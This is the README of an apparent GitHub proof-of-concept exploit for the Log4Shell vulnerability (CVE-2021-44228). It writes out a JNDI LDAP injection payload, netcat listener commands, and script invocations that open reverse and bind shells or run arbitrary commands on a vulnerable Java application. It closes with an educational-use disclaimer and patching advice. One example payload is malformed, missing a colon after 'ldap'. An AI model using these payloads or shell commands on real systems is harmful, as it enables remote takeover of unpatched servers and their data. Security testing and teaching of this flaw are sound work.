thearqsz/cve-2021-44228-pocProof-of-concept exploit for CVE-2021-44228 (Log4Shell) with HTTP and LDAP servers, supporting reverse/bind shells, RCE, and time-based detection for educational use.
PoC for CVE-2021-44228.
Project made for EDUCATIONAL PURPOSES ONLY.
This project creates two servers: http and ldap. Both are necessary for exploit to work. Specified java file is compiled and servers are started in Dockerfile. Payload is shown to user - it has to be passed to vulnerable application.
Example payload:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
It sleeps program for 25 seconds
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
OS detection may return 4 letters:
L for LinuxW for WindowsM for MacOSU for unknownBypass technique was published. Example here
App was designed to show how it works. To build and run jar with an app use:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
where PAYLOAD is returned from ./poc.sh script (e.g. ${jndi:ldap://127.0.0.1:1389/1}).
Some credits for projects and websites that were used during creation of this exploit:
Start app using log4j with log4j2.formatMsgNoLookups set to true, or update to log4j-2.15.0-rc1 or later. Updates are there in the wild - implement them as soon as possible.
This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.